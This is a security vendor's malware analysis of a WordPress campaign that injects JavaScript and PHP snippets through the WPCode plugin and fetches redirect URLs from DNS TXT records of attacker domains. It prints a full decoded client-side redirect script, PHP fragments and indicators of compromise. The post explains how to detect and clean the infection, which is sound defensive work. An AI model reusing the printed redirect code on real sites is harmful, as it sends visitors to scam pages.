JavaScript Malware Switches to Server-Side Redirects & DNS TXT Records as TDS

JavaScript Malware Switches to Server-Side Redirects & Uses DNS TXT Records as TDS

Last August we documented a malware campaign that was injecting malicious JavaScript code into compromised WordPress sites to redirect site visitors to VexTrio domains. The most interesting thing about that malware was how it used dynamic DNS TXT records of the tracker-cloud[.]com domain to obtain redirect URLs.

Press the allow button to verify you're human
Typical notification scam destination for the redirects

We’ve been tracking this campaign ever since — and we’ve recorded multiple changes in obfuscation techniques and domain names used in their DNS TXT traffic direction system (TDS).

This March, the campaign also made a notable change: it switched from client side to server side redirects.

In this post, we’ll examine these recent changes in techniques and functionality, reveal common indicators of compromise and malicious domains to watch out for, and outline how to mitigate risk and protect your website and server from infection.

Contents:

Scope and detections

Our research team and remote website scanners have detected this malware on 46,815 sites so far; the peak for detections was seen this past February, 2024 with a total of 9,222 detected sites that month alone. This URLScan.io query currently returns thousands of infected websites.

DNS TDS domain names

The following domain names with the dynamic DNS resolvers are used as TDS:

  • cloud-stats[.]com (created on 2024-03-13) used since March 13, 2024
  • host-stats[.]io (created on 2024-03-05) used since March 5, 2024
  • logsmetrics[.]com (created on 2023-12-06) used since December 18, 2023
  • ads-promo[.]com (created on 2023-08-23) used since October 13, 2023
  • tracker-cloud[.]com (created on 2023-07-12) used since July 17, 2023

Client-side redirects

The most recent variation of the client side injection looks like this:

Original script injection uses dns.google service
Original injected script

When decoded, it becomes evident that this script is using the dns.google service to obtain TXT records of dynamically generated subdomains of the attacker-controlled domain.

(function (parameters) {
    fetch('https://api64.ipify.org?format=json').then(response => response.json()).then(
        ip => {
            let host = window.location.hostname;
            ip = ip.ip.replaceAll(':', '-');
            ip = ip.replaceAll('.', '-');
            if (host == "") host = "unk.com";
            fetch('https://dns.google/resolve?name=' + host + '.' + ip + '.' + Math.floor(Math.random() * 1024 * 1024 * 10) + '.host-stats[.]io&type=txt').then(response => response.json()).then(data => {
                if (data.Answer == null) {
                    return;
                }
                var o = "";
                data.Answer.forEach(element => {
                    if (element.type == 16) o += element.data;
                });
                o = atob(o);
                if (!o.length) return;
                window.location.replace(o);
            });
        }
    );
})()  

This is a typical response from the dns.google server:

{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"www.[redacted].com.2600-803-a88-1021--21.1369004.host-stats[.]io.","type":16}],"Answer":[{"name":"www.[redacted].com.2600-803-a88-1021--21.1369004.host-stats[.]io.","type":16,"TTL":600,"data":"aHR0cHM6Ly93ZWItaG9zdHMuaW8vP2NvMWtpb2lqdnEzMjdoaG45NnYw"}],"Comment":"Response from 185.161.248[.]253."}

In the data parameter, we can see the base64-encrypted value: aHR0cHM6Ly93ZWItaG9zdHMuaW8vP2NvMWtpb2lqdnEzMjdoaG45NnYw which decrypts to hxxps://web-hosts[.]io/?co1kioijvq327hhn96v0

Since March, this web-hosts[.]io domain is consistently used to initiate redirect chains for this malware campaign. Also note the IP address where the DNS response comes from: 185.161.248[.]253 (KISARA-AS, RU) — it hosts many other domains used in the malware’s redirect chains.

Server-side redirects

After March 13, 2024 we started seeing server-side redirects to the same web-hosts[.]io. This time, however, no JavaScript injections were involved at all.

Web-hosts io server side redirects

We quickly found the culprit of these server-side redirects. It turned out to be a PHP version of the well known JavaScript injection used in past infection waves. Attackers were using the same idea and method of injection — a custom code snippet added to the WPCode plugin (formerly known as Insert Headers and Footers by WPBeginner).

According to stats from the official WordPress plugin repository, the WPCode plugin is used on over 2 million websites to inject custom JS, HTML, CSS and PHP snippets into WordPress sites. In this case, however, attackers are installing this specific plugin into compromised environments.

Instead of the formerly used JS snippets, however, the attackers decided to make their malware stealthier by using PHP snippets. This way, the malicious code is not visible for external remote scanners — the most they can detect is the redirect itself, which may not be easy to reproduce because of the TDS logic (visitor IPs are being tracked).

Malicious PHP snippets in WPCode

Here is an example of how the malicious code injected as a WPCode PHP snippet can be found in WordPress admin interface:

Malicious code injected as a WPCode PHP snippet

Such snippets can currently be identified in the snippet list by their “Untitled Snippet” name.

 WPCode snippet list with “Untitled Snippet” name

The injected code varies a little bit from site to site, but its main functionality remains the same. The simplest variation looks like this:

Simple malware variant found injected in wpcode

More advanced versions have a bit of additional code, but all of them can be identified by extensive use of the base64_decode function to decode individual strings.

You can manually scan your database for the following strings:

add_action(base64_decode('aW5pdA=='),base64_decode('X3JlZA=='));

This string decodes to:

add_action('init','_red');

And:

if(!function_exists(base64_decode('X3JlZA=='))){

Which decodes to:

if(!function_exists('_red')){      

Another tell-tale sign of infection is this DNS_TXT flag in the dns_get_record() function.

dns_get_record($p9,DNS_TXT);

(Note: the variable name in the following sample may change from site to site.)

Basic redirect functionality

When decoded, the most important part of the malware looks like this:

Basic server side redirect functionality

This snippet of code defines the _red() function and assigns it to be run during each page initialization stage right before any headers are sent.

The function makes sure that the visitor is not a logged in user (to prevent detection by the site owners) and that is the first site visit during the last 24 hours.

Request for the DNS TXT record

If these conditions are met, then the malware generates a dynamic subdomain for the attacker-controlled domain “cloud-stats[.]com” and requests the TXT record for that subdomain:

$o8=(!$y5?'unk.com':$y5).'.'.(!$v6?'0-0-0-0':$v6).'.'.mt_rand(100000,999999)...(_is_mobile()?'n'.$h7:'nd').'.cloud-stats[.]com';
$u9=dns_get_record($o8,DNS_TXT);

The generated subdomain consists of the following:

  1. Domain name of the infected site (or ‘unk.com’ if it can’t be identified’)
  2. IP address of the visitor where periods and columns are replaced with a dash.
  3. A random number in the range 100,000-999,999
  4. A platform marker:
    1. ni – iPhone
    2. nm – other mobile devices
    3. nd – desktop (not mobile)
  5. The main domain whose DNS is controlled by attackers — cloud-stats[.]co

A fully generated subdomain will look something like this: www.example.com.127-0-0-1.243385.ni.cloud-stats[.]com

Redirect URL in TXT records

Here is a typical response for the malware’s TXT record requests:

type:  16 aHR0cHM6Ly93ZWItaG9zdHMuaW8vP2NucG43YmFqdnEzZTdvNWtxNXQw;type:  2 ns1.cloud-stats[.]com;type:  2 ns2.cloud-stats[.]com;95.216.232.139;185.161.248.253;

We can see the redirect URL (hxxps://web-hosts[.]io/?cnpn7bajvq3e7o5kq5t0) sent as a base64 string aHR0cHM6Ly93ZWItaG9… as well as the IPs of the name servers: the already familiar 185.161.248[.]253 (KISARA-AS, RU) and 95.216.232[.]139 (HETZNER-AS, DE).

Once the redirect URL is obtained from the cloud-stats[.]com DNS server, the visitor gets redirected there using the wp_redirect function.

Evasive techniques and backdoor functionality

Some versions of the injected PHP script contain additional features. The most common one is the code to hide the WPCode plugin (insert-headers-and-footers/ihaf.php) in the list of installed plugins.

This helps prevent discovery and disabling of the plugin by site owners who never actually installed the plugin. A side-effect of this feature is this plugin will be hidden even on sites that legitimately use it.

To make discovery of the WPCode plugin even harder, the malware also hides WPCode notifications and messages displayed in WordPress dashboard by changing their styles to { display: none; }.

Cookie based backdoor

More recent versions of the malware also contain backdoor functionality that allows attackers to send data to the script via base64-encoded cookies:

Backdoor cookie allows attackers to send data to their scripts

At this point the backdoor has two main functions:

  • sd — updates the main domain for their DNS TDS and saves it in the WordPress “d” option. They can now change the cloud-stats[.]com domain with something different using a single inconspicuous GET request.
  • au — creates a malicious WordPress admin user.

Malware persistence

As we previously mentioned, this malware campaign installs the WPCode plugin on compromised websites to inject their JS and PHP custom code snippets.

We observed this behavior in logs of multiple compromised sites. At this point, it is not clear what vulnerability was originally used as this malware can only be reliably tracked since the moment the attackers log into WordPress and install the WPCode plugin. And by that time, they already have valid WordPress admin credentials in their possession. What’s interesting, however, is how they go an extra mile to make sure their malware is present on infected websites.

Once the site is infected, their bots visit it every day (sometimes more than once a day), log into WordPress, and make sure the WPCode plugin is still activated. On one site we observed the site owner’s action to deactivate the plugin. Two hours later the attacker’s bot returned to the site and re-activated the plugin!

Another interesting observation is that the same attackers are also trying to use another similar “Head, Footer and Post Injections” (header-footer) plugin as a fallback. This plugin also allows injections of custom JS and PHP code, but so far is never the primary plugin used in the campaign.

Proxies and User-Agents

Our analysis shows that the malicious bot requests come from a wide range of residentials IPs all around the world, including:

  • Mexico
  • Pakistan
  • Brazil
  • Egypt
  • Thailand
  • Kenia
  • Morocco
  • Serbia
  • etc

These bot requests most likely belong to infected computers or public proxies.

The User-Agent strings of these requests vary a lot, but typically use older versions of browsers:

"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
"Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.2265.141 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Edg/85.0.564.70"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0"
"Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/95.0"
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
"Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"

It’s quite common for both User-Agent and IP address to change through a single session. You may see that the login request comes from one IP and shortly after you see a different IP with a different User-Agent continue working with the /wp-admin/ URLs without any previous logins from that IP. This is typically a sign of a proxy usage.

Update: Since publishing this post, Sucuri has observed the following new domains used as DNS TDS:

  • airlogs[.]net
  • bigtitswife[.]vip
  • renderpromo[.]org
  • logs-web[.]com

Mitigation steps

Web hosts should sinkhole domain names used as DNS TDS as well as their name servers to mitigate this threat. In this case, it’s cloud-stats[.]com, ns1.cloud-stats[.]com, and ns2.cloud-stats[.]com.

But if you are a website owner looking to protect your site from this infection, you can mitigate risk with the followings steps:

  • Change WordPress admin passwords. Use strong unique credentials for every account.
  • Make sure there are no other unrecognized WordPress users on your site. You can find and remove unfamiliar users by navigating to WordPress dashboard > Users or by checking the wp-users table in the database.
  • Active WPCode plugin users should review all installed snippets and delete any that look unfamiliar or shouldn’t be there.
  • Review all installed plugins and get rid of anything that doesn’t belong on your  site. Some plugins may not be visible in the plugin list, so make sure to manually check the wp-contents/plugins directory. This malware campaign is known to install plugins in the insert-headers-and-footers/ and header-footer/ directories.
  • Make sure all remaining plugins and themes are up-to-date and fully patched. If you’re unable to update in a timely fashion, leverage a web application firewall to help virtually patch known vulnerabilities on your site.

Believe your website has been infected with this malware but not sure what to do next? Reach out to us on chat and we can discuss how we can help! Our experienced security analysts are available 24/7 to assist you, clean up website malware, and restore your website.

Get help removing malware from your website

You May Also Like